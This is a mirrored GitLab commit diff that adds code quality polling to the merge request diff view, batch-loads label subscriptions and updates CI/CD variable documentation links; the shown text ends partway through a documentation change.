Welcome to mirror list, hosted at ThFree Co, Russian Federation.

gitlab.com/gitlab-org/gitlab-foss.git - Unnamed repository; edit this file 'description' to name the repository.
summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorGitLab Bot <gitlab-bot@gitlab.com>2021-04-03 03:09:02 +0300
committerGitLab Bot <gitlab-bot@gitlab.com>2021-04-03 03:09:02 +0300
commit4d6582cc54cc317bc31cc8dc2339668bb7550ced (patch)
treea5840938cd13e64c0db27792faecb3fd7f6fa782
parent65be6f9dd4d92590294f18c6212a075585467f6d (diff)
Add latest changes from gitlab-org/gitlab@master
-rw-r--r--.rubocop_manual_todo.yml10
-rw-r--r--app/assets/javascripts/diffs/components/app.vue20
-rw-r--r--app/assets/javascripts/diffs/components/diff_file.vue9
-rw-r--r--app/assets/javascripts/diffs/components/diff_file_header.vue8
-rw-r--r--app/assets/javascripts/diffs/index.js2
-rw-r--r--app/assets/javascripts/diffs/store/actions.js47
-rw-r--r--app/assets/javascripts/diffs/store/getters.js10
-rw-r--r--app/assets/javascripts/diffs/store/modules/diff_state.js1
-rw-r--r--app/assets/javascripts/diffs/store/mutation_types.js1
-rw-r--r--app/assets/javascripts/diffs/store/mutations.js6
-rw-r--r--app/controllers/groups/labels_controller.rb3
-rw-r--r--app/helpers/labels_helper.rb6
-rw-r--r--app/helpers/merge_requests_helper.rb21
-rw-r--r--app/models/concerns/subscribable.rb36
-rw-r--r--app/views/admin/application_settings/ci/_header.html.haml4
-rw-r--r--app/views/admin/application_settings/ci_cd.html.haml2
-rw-r--r--app/views/ci/variables/_content.html.haml2
-rw-r--r--app/views/ci/variables/_index.html.haml4
-rw-r--r--app/views/ci/variables/_variable_row.html.haml2
-rw-r--r--app/views/projects/merge_requests/show.html.haml17
-rw-r--r--changelogs/unreleased/21034-controller-groups-labelscontroller-index-executes-more-than-100-sql.yml5
-rw-r--r--changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-lib-gitlab.yml5
-rw-r--r--doc/ci/cloud_deployment/ecs/quick_start_guide.md2
-rw-r--r--doc/ci/cloud_deployment/index.md6
-rw-r--r--doc/ci/environments/deployment_safety.md2
-rw-r--r--doc/ci/migration/circleci.md2
-rw-r--r--doc/ci/migration/jenkins.md2
-rw-r--r--doc/ci/secrets/index.md2
-rw-r--r--doc/ci/services/index.md2
-rw-r--r--doc/ci/services/mysql.md2
-rw-r--r--doc/ci/services/postgres.md2
-rw-r--r--doc/ci/triggers/README.md2
-rw-r--r--doc/ci/variables/README.md597
-rw-r--r--doc/ci/yaml/README.md2
-rw-r--r--doc/development/dangerbot.md4
-rw-r--r--doc/user/application_security/api_fuzzing/index.md6
-rw-r--r--doc/user/application_security/container_scanning/index.md2
-rw-r--r--doc/user/application_security/dast/index.md2
-rw-r--r--doc/user/application_security/dependency_scanning/index.md2
-rw-r--r--doc/user/application_security/index.md2
-rw-r--r--doc/user/application_security/sast/index.md2
-rw-r--r--doc/user/compliance/license_compliance/index.md2
-rw-r--r--doc/user/gitlab_com/index.md2
-rw-r--r--doc/user/project/clusters/serverless/aws.md2
-rw-r--r--doc/user/project/merge_requests/code_quality.md3
-rw-r--r--locale/gitlab.pot3
-rw-r--r--package.json2
-rw-r--r--spec/controllers/groups/labels_controller_spec.rb18
-rw-r--r--spec/factories/subscriptions.rb6
-rw-r--r--spec/frontend/diffs/components/app_spec.js19
-rw-r--r--spec/frontend/diffs/store/actions_spec.js48
-rw-r--r--spec/frontend/diffs/store/getters_spec.js20
-rw-r--r--spec/frontend/diffs/store/mutations_spec.js13
-rw-r--r--spec/lib/gitlab/slash_commands/presenters/issue_comment_spec.rb1
-rw-r--r--spec/lib/gitlab/slash_commands/presenters/issue_move_spec.rb1
-rw-r--r--spec/lib/gitlab/snippet_search_results_spec.rb1
-rw-r--r--spec/lib/gitlab/sourcegraph_spec.rb1
-rw-r--r--spec/lib/gitlab/template/finders/repo_template_finders_spec.rb1
-rw-r--r--spec/lib/gitlab/tree_summary_spec.rb1
-rw-r--r--spec/lib/gitlab/url_builder_spec.rb1
-rw-r--r--spec/lib/gitlab/usage/metrics/aggregates/sources/postgres_hll_spec.rb1
-rw-r--r--spec/lib/gitlab/utils/usage_data_spec.rb1
-rw-r--r--spec/lib/gitlab/workhorse_spec.rb1
-rw-r--r--spec/models/concerns/subscribable_spec.rb55
-rw-r--r--yarn.lock8
65 files changed, 650 insertions, 425 deletions
diff --git a/.rubocop_manual_todo.yml b/.rubocop_manual_todo.yml
index 3569347dd43..739a06e862c 100644
--- a/.rubocop_manual_todo.yml
+++ b/.rubocop_manual_todo.yml
@@ -1122,16 +1122,6 @@ RSpec/EmptyLineAfterFinalLetItBe:
- spec/lib/gitlab/repository_size_error_message_spec.rb
- spec/lib/gitlab/search_results_spec.rb
- spec/lib/gitlab/shell_spec.rb
- - spec/lib/gitlab/slash_commands/presenters/issue_comment_spec.rb
- - spec/lib/gitlab/slash_commands/presenters/issue_move_spec.rb
- - spec/lib/gitlab/snippet_search_results_spec.rb
- - spec/lib/gitlab/sourcegraph_spec.rb
- - spec/lib/gitlab/template/finders/repo_template_finders_spec.rb
- - spec/lib/gitlab/tree_summary_spec.rb
- - spec/lib/gitlab/url_builder_spec.rb
- - spec/lib/gitlab/usage/metrics/aggregates/sources/postgres_hll_spec.rb
- - spec/lib/gitlab/utils/usage_data_spec.rb
- - spec/lib/gitlab/workhorse_spec.rb
- spec/mailers/emails/projects_spec.rb
- spec/mailers/emails/releases_spec.rb
- spec/mailers/emails/service_desk_spec.rb
diff --git a/app/assets/javascripts/diffs/components/app.vue b/app/assets/javascripts/diffs/components/app.vue
index cdea55f0885..a1358cdc40e 100644
--- a/app/assets/javascripts/diffs/components/app.vue
+++ b/app/assets/javascripts/diffs/components/app.vue
@@ -84,6 +84,11 @@ export default {
required: false,
default: '',
},
+ endpointCodequality: {
+ type: String,
+ required: false,
+ default: '',
+ },
projectPath: {
type: String,
required: true,
@@ -160,6 +165,7 @@ export default {
plainDiffPath: (state) => state.diffs.plainDiffPath,
emailPatchPath: (state) => state.diffs.emailPatchPath,
retrievingBatches: (state) => state.diffs.retrievingBatches,
+ codequalityDiff: (state) => state.diffs.codequalityDiff,
}),
...mapState('diffs', [
'showTreeList',
@@ -173,7 +179,12 @@ export default {
'viewDiffsFileByFile',
'mrReviews',
]),
- ...mapGetters('diffs', ['whichCollapsedTypes', 'isParallelView', 'currentDiffIndex']),
+ ...mapGetters('diffs', [
+ 'whichCollapsedTypes',
+ 'isParallelView',
+ 'currentDiffIndex',
+ 'fileCodequalityDiff',
+ ]),
...mapGetters(['isNotesFetched', 'getNoteableData']),
diffs() {
if (!this.viewDiffsFileByFile) {
@@ -271,6 +282,7 @@ export default {
endpointMetadata: this.endpointMetadata,
endpointBatch: this.endpointBatch,
endpointCoverage: this.endpointCoverage,
+ endpointCodequality: this.endpointCodequality,
projectPath: this.projectPath,
dismissEndpoint: this.dismissEndpoint,
showSuggestPopover: this.showSuggestPopover,
@@ -326,6 +338,7 @@ export default {
'fetchDiffFilesMeta',
'fetchDiffFilesBatch',
'fetchCoverageFiles',
+ 'fetchCodequality',
'startRenderDiffsQueue',
'assignDiscussionsToDiff',
'setHighlightedRow',
@@ -382,6 +395,10 @@ export default {
this.fetchCoverageFiles();
}
+ if (this.endpointCodequality) {
+ this.fetchCodequality();
+ }
+
if (!this.isNotesFetched) {
notesEventHub.$emit('fetchNotesData');
}
@@ -509,6 +526,7 @@ export default {
:help-page-path="helpPagePath"
:can-current-user-fork="canCurrentUserFork"
:view-diffs-file-by-file="viewDiffsFileByFile"
+ :codequality-diff="fileCodequalityDiff(file.file_path)"
/>
<div
v-if="showFileByFileNavigation"
diff --git a/app/assets/javascripts/diffs/components/diff_file.vue b/app/assets/javascripts/diffs/components/diff_file.vue
index ca4543f7002..93855db52b6 100644
--- a/app/assets/javascripts/diffs/components/diff_file.vue
+++ b/app/assets/javascripts/diffs/components/diff_file.vue
@@ -67,6 +67,11 @@ export default {
type: Boolean,
required: true,
},
+ codequalityDiff: {
+ type: Array,
+ required: false,
+ default: () => [],
+ },
},
data() {
return {
@@ -148,6 +153,9 @@ export default {
return loggedIn && featureOn;
},
+ hasCodequalityChanges() {
+ return this.codequalityDiff.length > 0;
+ },
},
watch: {
'file.id': {
@@ -294,6 +302,7 @@ export default {
:add-merge-request-buttons="true"
:view-diffs-file-by-file="viewDiffsFileByFile"
:show-local-file-reviews="showLocalFileReviews"
+ :has-codequality-changes="hasCodequalityChanges"
class="js-file-title file-title gl-border-1 gl-border-solid gl-border-gray-100"
:class="hasBodyClasses.header"
@toggleFile="handleToggle"
diff --git a/app/assets/javascripts/diffs/components/diff_file_header.vue b/app/assets/javascripts/diffs/components/diff_file_header.vue
index 27d9343ebf6..3b4e21ab61b 100644
--- a/app/assets/javascripts/diffs/components/diff_file_header.vue
+++ b/app/assets/javascripts/diffs/components/diff_file_header.vue
@@ -41,6 +41,7 @@ export default {
GlDropdownDivider,
GlFormCheckbox,
GlLoadingIcon,
+ CodeQualityBadge: () => import('ee_component/diffs/components/code_quality_badge.vue'),
},
directives: {
GlTooltip: GlTooltipDirective,
@@ -95,6 +96,11 @@ export default {
required: false,
default: false,
},
+ hasCodequalityChanges: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
},
data() {
return {
@@ -327,6 +333,8 @@ export default {
data-track-property="diff_copy_file"
/>
+ <code-quality-badge v-if="hasCodequalityChanges" class="gl-mr-2" />
+
<small v-if="isModeChanged" ref="fileMode" class="mr-1">
{{ diffFile.a_mode }} → {{ diffFile.b_mode }}
</small>
diff --git a/app/assets/javascripts/diffs/index.js b/app/assets/javascripts/diffs/index.js
index 87e9af174e5..c278baf2d2c 100644
--- a/app/assets/javascripts/diffs/index.js
+++ b/app/assets/javascripts/diffs/index.js
@@ -73,6 +73,7 @@ export default function initDiffsApp(store) {
endpointMetadata: dataset.endpointMetadata || '',
endpointBatch: dataset.endpointBatch || '',
endpointCoverage: dataset.endpointCoverage || '',
+ endpointCodequality: dataset.endpointCodequality || '',
projectPath: dataset.projectPath,
helpPagePath: dataset.helpPagePath,
currentUser: JSON.parse(dataset.currentUserData) || {},
@@ -114,6 +115,7 @@ export default function initDiffsApp(store) {
endpointMetadata: this.endpointMetadata,
endpointBatch: this.endpointBatch,
endpointCoverage: this.endpointCoverage,
+ endpointCodequality: this.endpointCodequality,
currentUser: this.currentUser,
projectPath: this.projectPath,
helpPagePath: this.helpPagePath,
diff --git a/app/assets/javascripts/diffs/store/actions.js b/app/assets/javascripts/diffs/store/actions.js
index 70f7b24cd08..8e036dc32d0 100644
--- a/app/assets/javascripts/diffs/store/actions.js
+++ b/app/assets/javascripts/diffs/store/actions.js
@@ -1,4 +1,5 @@
import Cookies from 'js-cookie';
+import Visibility from 'visibilityjs';
import Vue from 'vue';
import { deprecatedCreateFlash as createFlash } from '~/flash';
import { diffViewerModes } from '~/ide/constants';
@@ -52,12 +53,15 @@ import {
prepareLineForRenamedFile,
} from './utils';
+let eTagPoll;
+
export const setBaseConfig = ({ commit }, options) => {
const {
endpoint,
endpointMetadata,
endpointBatch,
endpointCoverage,
+ endpointCodequality,
projectPath,
dismissEndpoint,
showSuggestPopover,
@@ -70,6 +74,7 @@ export const setBaseConfig = ({ commit }, options) => {
endpointMetadata,
endpointBatch,
endpointCoverage,
+ endpointCodequality,
projectPath,
dismissEndpoint,
showSuggestPopover,
@@ -231,6 +236,48 @@ export const fetchCoverageFiles = ({ commit, state }) => {
coveragePoll.makeRequest();
};
+export const clearEtagPoll = () => {
+ eTagPoll = null;
+};
+
+export const stopCodequalityPolling = () => {
+ if (eTagPoll) eTagPoll.stop();
+};
+
+export const restartCodequalityPolling = () => {
+ if (eTagPoll) eTagPoll.restart();
+};
+
+export const fetchCodequality = ({ commit, state, dispatch }) => {
+ eTagPoll = new Poll({
+ resource: {
+ getCodequalityDiffReports: (endpoint) => axios.get(endpoint),
+ },
+ data: state.endpointCodequality,
+ method: 'getCodequalityDiffReports',
+ successCallback: ({ status, data }) => {
+ if (status === httpStatusCodes.OK) {
+ commit(types.SET_CODEQUALITY_DATA, data);
+
+ eTagPoll.stop();
+ }
+ },
+ errorCallback: () => createFlash(__('Something went wrong on our end. Please try again!')),
+ });
+
+ if (!Visibility.hidden()) {
+ eTagPoll.makeRequest();
+ }
+
+ Visibility.change(() => {
+ if (!Visibility.hidden()) {
+ dispatch('restartCodequalityPolling');
+ } else {
+ dispatch('stopCodequalityPolling');
+ }
+ });
+};
+
export const setHighlightedRow = ({ commit }, lineCode) => {
const fileHash = lineCode.split('_')[0];
commit(types.SET_HIGHLIGHTED_ROW, lineCode);
diff --git a/app/assets/javascripts/diffs/store/getters.js b/app/assets/javascripts/diffs/store/getters.js
index dec3f87b03e..b06faa2284b 100644
--- a/app/assets/javascripts/diffs/store/getters.js
+++ b/app/assets/javascripts/diffs/store/getters.js
@@ -136,6 +136,16 @@ export const fileLineCoverage = (state) => (file, line) => {
};
/**
+ * Returns the codequality diff data for a given file
+ * @param {string} filePath
+ * @returns {Array}
+ */
+export const fileCodequalityDiff = (state) => (filePath) => {
+ if (!state.codequalityDiff.files || !state.codequalityDiff.files[filePath]) return [];
+ return state.codequalityDiff.files[filePath];
+};
+
+/**
* Returns index of a currently selected diff in diffFiles
* @returns {number}
*/
diff --git a/app/assets/javascripts/diffs/store/modules/diff_state.js b/app/assets/javascripts/diffs/store/modules/diff_state.js
index f93435363ec..b673a5387ca 100644
--- a/app/assets/javascripts/diffs/store/modules/diff_state.js
+++ b/app/assets/javascripts/diffs/store/modules/diff_state.js
@@ -28,6 +28,7 @@ export default () => ({
startVersion: null, // Null unless a target diff is selected for comparison that is not the "base" diff
diffFiles: [],
coverageFiles: {},
+ codequalityDiff: {},
mergeRequestDiffs: [],
mergeRequestDiff: null,
diffViewType: viewTypeFromQueryString || viewTypeFromCookie || defaultViewType,
diff --git a/app/assets/javascripts/diffs/store/mutation_types.js b/app/assets/javascripts/diffs/store/mutation_types.js
index 4641731c4b6..b0f396f905a 100644
--- a/app/assets/javascripts/diffs/store/mutation_types.js
+++ b/app/assets/javascripts/diffs/store/mutation_types.js
@@ -11,6 +11,7 @@ export const SET_MR_FILE_REVIEWS = 'SET_MR_FILE_REVIEWS';
export const SET_DIFF_VIEW_TYPE = 'SET_DIFF_VIEW_TYPE';
export const SET_COVERAGE_DATA = 'SET_COVERAGE_DATA';
+export const SET_CODEQUALITY_DATA = 'SET_CODEQUALITY_DATA';
export const SET_MERGE_REQUEST_DIFFS = 'SET_MERGE_REQUEST_DIFFS';
export const TOGGLE_LINE_HAS_FORM = 'TOGGLE_LINE_HAS_FORM';
export const ADD_CONTEXT_LINES = 'ADD_CONTEXT_LINES';
diff --git a/app/assets/javascripts/diffs/store/mutations.js b/app/assets/javascripts/diffs/store/mutations.js
index a93cacc49d8..a676b1bdb37 100644
--- a/app/assets/javascripts/diffs/store/mutations.js
+++ b/app/assets/javascripts/diffs/store/mutations.js
@@ -33,6 +33,7 @@ export default {
endpointMetadata,
endpointBatch,
endpointCoverage,
+ endpointCodequality,
projectPath,
dismissEndpoint,
showSuggestPopover,
@@ -45,6 +46,7 @@ export default {
endpointMetadata,
endpointBatch,
endpointCoverage,
+ endpointCodequality,
projectPath,
dismissEndpoint,
showSuggestPopover,
@@ -87,6 +89,10 @@ export default {
Object.assign(state, { coverageFiles });
},
+ [types.SET_CODEQUALITY_DATA](state, codequalityDiffData) {
+ Object.assign(state, { codequalityDiff: codequalityDiffData });
+ },
+
[types.RENDER_FILE](state, file) {
renderFile(file);
},
diff --git a/app/controllers/groups/labels_controller.rb b/app/controllers/groups/labels_controller.rb
index c5dd3e1df35..d1c32350b1d 100644
--- a/app/controllers/groups/labels_controller.rb
+++ b/app/controllers/groups/labels_controller.rb
@@ -16,7 +16,8 @@ class Groups::LabelsController < Groups::ApplicationController
format.html do
# at group level we do not want to list project labels,
# we only want `only_group_labels = false` when pulling labels for label filter dropdowns, fetched through json
- @labels = available_labels(params.merge(only_group_labels: true)).page(params[:page])
+ @labels = available_labels(params.merge(only_group_labels: true)).includes(:group).page(params[:page]) # rubocop: disable CodeReuse/ActiveRecord
+ @labels.each { |label| label.lazy_subscription(current_user) } # preload subscriptions
end
format.json do
render json: LabelSerializer.new.represent_appearance(available_labels)
diff --git a/app/helpers/labels_helper.rb b/app/helpers/labels_helper.rb
index cfc4075100b..6cc9959dcb9 100644
--- a/app/helpers/labels_helper.rb
+++ b/app/helpers/labels_helper.rb
@@ -164,8 +164,8 @@ module LabelsHelper
end
def label_subscription_status(label, project)
- return 'group-level' if label.subscribed?(current_user)
- return 'project-level' if label.subscribed?(current_user, project)
+ return 'group-level' if label.lazy_subscribed?(current_user)
+ return 'project-level' if label.lazy_subscribed?(current_user, project)
'unsubscribed'
end
@@ -181,7 +181,7 @@ module LabelsHelper
end
def label_subscription_toggle_button_text(label, project = nil)
- label.subscribed?(current_user, project) ? 'Unsubscribe' : 'Subscribe'
+ label.lazy_subscribed?(current_user, project) ? 'Unsubscribe' : 'Subscribe'
end
def create_label_title(subject)
diff --git a/app/helpers/merge_requests_helper.rb b/app/helpers/merge_requests_helper.rb
index 376dde9d612..ecb5a7a9071 100644
--- a/app/helpers/merge_requests_helper.rb
+++ b/app/helpers/merge_requests_helper.rb
@@ -185,6 +185,27 @@ module MergeRequestsHelper
end
end
+ def diffs_tab_pane_data(project, merge_request, params)
+ {
+ "is-locked": merge_request.discussion_locked?,
+ endpoint: diffs_project_merge_request_path(project, merge_request, 'json', params),
+ endpoint_metadata: @endpoint_metadata_url,
+ endpoint_batch: diffs_batch_project_json_merge_request_path(project, merge_request, 'json', params),
+ endpoint_coverage: @coverage_path,
+ help_page_path: help_page_path('user/discussions/index.md', anchor: 'suggest-changes'),
+ current_user_data: @current_user_data,
+ update_current_user_path: @update_current_user_path,
+ project_path: project_path(merge_request.project),
+ changes_empty_state_illustration: image_path('illustrations/merge_request_changes_empty.svg'),
+ is_fluid_layout: fluid_layout.to_s,
+ dismiss_endpoint: user_callouts_path,
+ show_suggest_popover: show_suggest_popover?.to_s,
+ show_whitespace_default: @show_whitespace_default.to_s,
+ file_by_file_default: @file_by_file_default.to_s,
+ default_suggestion_commit_message: default_suggestion_commit_message
+ }
+ end
+
private
def review_requested_merge_requests_count
diff --git a/app/models/concerns/subscribable.rb b/app/models/concerns/subscribable.rb
index 33e9e0e38fb..10bfea0965e 100644
--- a/app/models/concerns/subscribable.rb
+++ b/app/models/concerns/subscribable.rb
@@ -17,13 +17,47 @@ module Subscribable
def subscribed?(user, project = nil)
return false unless user
- if subscription = subscriptions.find_by(user: user, project: project)
+ if (subscription = subscriptions.find_by(user: user, project: project))
subscription.subscribed
else
subscribed_without_subscriptions?(user, project)
end
end
+ def lazy_subscribed?(user, project = nil)
+ return false unless user
+
+ if (subscription = lazy_subscription(user, project)&.itself)
+ subscription.subscribed
+ else
+ subscribed_without_subscriptions?(user, project)
+ end
+ end
+
+ def lazy_subscription(user, project = nil)
+ return unless user
+
+ # handle project and group labels as well as issuable subscriptions
+ subscribable_type = self.class.ancestors.include?(Label) ? 'Label' : self.class.name
+ BatchLoader.for(id: id, subscribable_type: subscribable_type, project_id: project&.id).batch do |items, loader|
+ values = items.each_with_object({ ids: Set.new, subscribable_types: Set.new, project_ids: Set.new }) do |item, result|
+ result[:ids] << item[:id]
+ result[:subscribable_types] << item[:subscribable_type]
+ result[:project_ids] << item[:project_id]
+ end
+
+ subscriptions = Subscription.where(subscribable_id: values[:ids], subscribable_type: values[:subscribable_types], project_id: values[:project_ids], user: user)
+
+ subscriptions.each do |subscription|
+ loader.call({
+ id: subscription.subscribable_id,
+ subscribable_type: subscription.subscribable_type,
+ project_id: subscription.project_id
+ }, subscription)
+ end
+ end
+ end
+
# Override this method to define custom logic to consider a subscribable as
# subscribed without an explicit subscription record.
def subscribed_without_subscriptions?(user, project)
diff --git a/app/views/admin/application_settings/ci/_header.html.haml b/app/views/admin/application_settings/ci/_header.html.haml
index aa4cebdb603..919f501d2ee 100644
--- a/app/views/admin/application_settings/ci/_header.html.haml
+++ b/app/views/admin/application_settings/ci/_header.html.haml
@@ -8,7 +8,7 @@
%p
= _('Variables store information, like passwords and secret keys, that you can use in job scripts. All projects on the instance can use these variables.')
- = link_to s_('Learn more.'), help_page_path('ci/variables/README', anchor: 'instance-level-cicd-variables'), target: '_blank', rel: 'noopener noreferrer'
+ = link_to s_('Learn more.'), help_page_path('ci/variables/README', anchor: 'instance-cicd-variables'), target: '_blank', rel: 'noopener noreferrer'
%p
= _('Variables can be:')
%ul
@@ -16,4 +16,4 @@
= html_escape(_('%{code_open}Protected:%{code_close} Only exposed to protected branches or tags.')) % { code_open: '<code>'.html_safe, code_close: '</code>'.html_safe }
%li
= html_escape(_('%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements.')) % { code_open: '<code>'.html_safe, code_close: '</code>'.html_safe }
- = link_to _('Learn more.'), help_page_path('ci/variables/README', anchor: 'masked-variable-requirements'), target: '_blank', rel: 'noopener noreferrer'
+ = link_to _('Learn more.'), help_page_path('ci/variables/README', anchor: 'mask-a-cicd-variable'), target: '_blank', rel: 'noopener noreferrer'
diff --git a/app/views/admin/application_settings/ci_cd.html.haml b/app/views/admin/application_settings/ci_cd.html.haml
index 28572fccb9d..d38b4cba40a 100644
--- a/app/views/admin/application_settings/ci_cd.html.haml
+++ b/app/views/admin/application_settings/ci_cd.html.haml
@@ -8,7 +8,7 @@
.settings-content
- if ci_variable_protected_by_default?
%p.settings-message.text-center
- - link_start = '<a href="%{url}">'.html_safe % { url: help_page_path('ci/variables/README', anchor: 'protect-a-custom-variable') }
+ - link_start = '<a href="%{url}">'.html_safe % { url: help_page_path('ci/variables/README', anchor: 'protect-a-cicd-variable') }
= s_('Environment variables on this GitLab instance are configured to be %{link_start}protected%{link_end} by default.').html_safe % { link_start: link_start, link_end: '</a>'.html_safe }
#js-instance-variables{ data: { endpoint: admin_ci_variables_path, group: 'true', maskable_regex: ci_variable_maskable_regex, protected_by_default: ci_variable_protected_by_default?.to_s} }
diff --git a/app/views/ci/variables/_content.html.haml b/app/views/ci/variables/_content.html.haml
index fd4b546e150..5eded970bf0 100644
--- a/app/views/ci/variables/_content.html.haml
+++ b/app/views/ci/variables/_content.html.haml
@@ -7,4 +7,4 @@
= html_escape(_('%{code_open}Protected:%{code_close} Only exposed to protected branches or tags.')) % { code_open: '<code>'.html_safe, code_close: '</code>'.html_safe }
%li
= html_escape(_('%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements.')) % { code_open: '<code>'.html_safe, code_close: '</code>'.html_safe }
- = link_to _('Learn more.'), help_page_path('ci/variables/README', anchor: 'masked-variable-requirements'), target: '_blank', rel: 'noopener noreferrer'
+ = link_to _('Learn more.'), help_page_path('ci/variables/README', anchor: 'mask-a-cicd-variable'), target: '_blank', rel: 'noopener noreferrer'
diff --git a/app/views/ci/variables/_index.html.haml b/app/views/ci/variables/_index.html.haml
index fc0e3488e57..cb6c82e6d77 100644
--- a/app/views/ci/variables/_index.html.haml
+++ b/app/views/ci/variables/_index.html.haml
@@ -2,7 +2,7 @@
- if ci_variable_protected_by_default?
%p.settings-message.text-center
- - link_start = '<a href="%{url}">'.html_safe % { url: help_page_path('ci/variables/README', anchor: 'protect-a-custom-variable') }
+ - link_start = '<a href="%{url}">'.html_safe % { url: help_page_path('ci/variables/README', anchor: 'protect-a-cicd-variable') }
= s_('Environment variables are configured by your administrator to be %{link_start}protected%{link_end} by default.').html_safe % { link_start: link_start, link_end: '</a>'.html_safe }
- is_group = !@group.nil?
@@ -16,7 +16,7 @@
aws_tip_deploy_link: help_page_path('ci/cloud_deployment/index.md', anchor: 'deploy-your-application-to-the-aws-elastic-container-service-ecs'),
aws_tip_commands_link: help_page_path('ci/cloud_deployment/index.md', anchor: 'run-aws-commands-from-gitlab-cicd'),
aws_tip_learn_link: help_page_path('ci/cloud_deployment/index.md', anchor: 'aws'),
- protected_environment_variables_link: help_page_path('ci/variables/README', anchor: 'protect-a-custom-variable'),
+ protected_environment_variables_link: help_page_path('ci/variables/README', anchor: 'protect-a-cicd-variable'),
masked_environment_variables_link: help_page_path('ci/variables/README', anchor: 'mask-a-custom-variable'),
} }
diff --git a/app/views/ci/variables/_variable_row.html.haml b/app/views/ci/variables/_variable_row.html.haml
index 193ec8abf04..b0c38f72cf1 100644
--- a/app/views/ci/variables/_variable_row.html.haml
+++ b/app/views/ci/variables/_variable_row.html.haml
@@ -39,7 +39,7 @@
= value
%p.masking-validation-error.gl-field-error.hide
= s_("CiVariables|Cannot use Masked Variable with current value")
- = link_to sprite_icon('question-o'), help_page_path('ci/variables/README', anchor: 'mask-a-custom-variable'), target: '_blank', rel: 'noopener noreferrer'
+ = link_to sprite_icon('question-o'), help_page_path('ci/variables/README', anchor: 'mask-a-cicd-variable'), target: '_blank', rel: 'noopener noreferrer'
- unless only_key_value
.ci-variable-body-item.ci-variable-protected-item.table-section.section-20.mr-0.border-top-0
.gl-mr-3
diff --git a/app/views/projects/merge_requests/show.html.haml b/app/views/projects/merge_requests/show.html.haml
index e266c79df9c..2c4bd2e3256 100644
--- a/app/views/projects/merge_requests/show.html.haml
+++ b/app/views/projects/merge_requests/show.html.haml
@@ -81,22 +81,7 @@
- params = request.query_parameters
- if Feature.enabled?(:default_merge_ref_for_diffs, @project, default_enabled: :yaml)
- params = params.merge(diff_head: true)
- = render "projects/merge_requests/tabs/pane", name: "diffs", id: "js-diffs-app", class: "diffs", data: { "is-locked": @merge_request.discussion_locked?,
- endpoint: diffs_project_merge_request_path(@project, @merge_request, 'json', params),
- endpoint_metadata: @endpoint_metadata_url,
- endpoint_batch: diffs_batch_project_json_merge_request_path(@project, @merge_request, 'json', params),
- endpoint_coverage: @coverage_path,
- help_page_path: suggest_changes_help_path,
- current_user_data: @current_user_data,
- update_current_user_path: @update_current_user_path,
- project_path: project_path(@merge_request.project),
- changes_empty_state_illustration: image_path('illustrations/merge_request_changes_empty.svg'),
- is_fluid_layout: fluid_layout.to_s,
- dismiss_endpoint: user_callouts_path,
- show_suggest_popover: show_suggest_popover?.to_s,
- show_whitespace_default: @show_whitespace_default.to_s,
- file_by_file_default: @file_by_file_default.to_s,
- default_suggestion_commit_message: default_suggestion_commit_message }
+ = render "projects/merge_requests/tabs/pane", name: "diffs", id: "js-diffs-app", class: "diffs", data: diffs_tab_pane_data(@project, @merge_request, params)
.mr-loading-status
.loading.hide
diff --git a/changelogs/unreleased/21034-controller-groups-labelscontroller-index-executes-more-than-100-sql.yml b/changelogs/unreleased/21034-controller-groups-labelscontroller-index-executes-more-than-100-sql.yml
new file mode 100644
index 00000000000..63dd39d472b
--- /dev/null
+++ b/changelogs/unreleased/21034-controller-groups-labelscontroller-index-executes-more-than-100-sql.yml
@@ -0,0 +1,5 @@
+---
+title: Reduce queries on group labels controller
+merge_request: 57517
+author:
+type: performance
diff --git a/changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-lib-gitlab.yml b/changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-lib-gitlab.yml
new file mode 100644
index 00000000000..092c7edd781
--- /dev/null
+++ b/changelogs/unreleased/issue-325836-fix-empty-line-after-let-it-be-lib-gitlab.yml
@@ -0,0 +1,5 @@
+---
+title: Fix EmptyLineAfterFinalLetItBe offenses in spec/lib/gitlab
+merge_request: 58314
+author: Huzaifa Iftikhar @huzaifaiftikhar
+type: fixed
diff --git a/doc/ci/cloud_deployment/ecs/quick_start_guide.md b/doc/ci/cloud_deployment/ecs/quick_start_guide.md
index f75680ccd8c..b9ed38c2c03 100644
--- a/doc/ci/cloud_deployment/ecs/quick_start_guide.md
+++ b/doc/ci/cloud_deployment/ecs/quick_start_guide.md
@@ -211,7 +211,7 @@ Do not share the secret access key in a public place. You must save it in a secu
### Setup credentials in GitLab to let pipeline jobs access to ECS
-You can register the access information in [GitLab Environment Variables](../../variables/README.md#create-a-custom-variable-in-the-ui).
+You can register the access information in [GitLab Environment Variables](../../variables/README.md#custom-cicd-variables).
These variables are injected into the pipeline jobs and can access the ECS API.
1. Go to **ecs-demo** project on GitLab.
diff --git a/doc/ci/cloud_deployment/index.md b/doc/ci/cloud_deployment/index.md
index 1e53414cd1e..e8f3fe3f4d9 100644
--- a/doc/ci/cloud_deployment/index.md
+++ b/doc/ci/cloud_deployment/index.md
@@ -117,7 +117,7 @@ After you have these prerequisites ready, follow these steps:
1. Make sure your AWS credentials are set up as CI/CD variables for your
project. You can follow [the steps above](#run-aws-commands-from-gitlab-cicd) to complete this setup.
1. Add these variables to your project's `.gitlab-ci.yml` file, or in the project's
- [CI/CD settings](../variables/README.md#create-a-custom-variable-in-the-ui):
+ [CI/CD settings](../variables/README.md#custom-cicd-variables):
- `CI_AWS_ECS_CLUSTER`: The name of the AWS ECS cluster that you're targeting for your deployments.
- `CI_AWS_ECS_SERVICE`: The name of the targeted service tied to your AWS ECS cluster.
@@ -146,7 +146,7 @@ After you have these prerequisites ready, follow these steps:
```
You can create your `CI_AWS_ECS_TASK_DEFINITION_FILE` variable as a
- [file-typed CI/CD variable](../variables/README.md#custom-cicd-variables-of-type-file) instead of a
+ [file-typed CI/CD variable](../variables/README.md#cicd-variable-types) instead of a
regular CI/CD variable. If you choose to do so, set the variable value to be the full contents of
the JSON task definition. You can then remove the JSON file from your project.
@@ -257,7 +257,7 @@ pass three JSON input objects, based on existing templates:
CI_AWS_EC2_DEPLOYMENT_FILE: 'aws/create_deployment.json'
```
- - Alternatively, you can provide these JSON objects as [file-typed CI/CD variables](../variables/README.md#custom-cicd-variables-of-type-file).
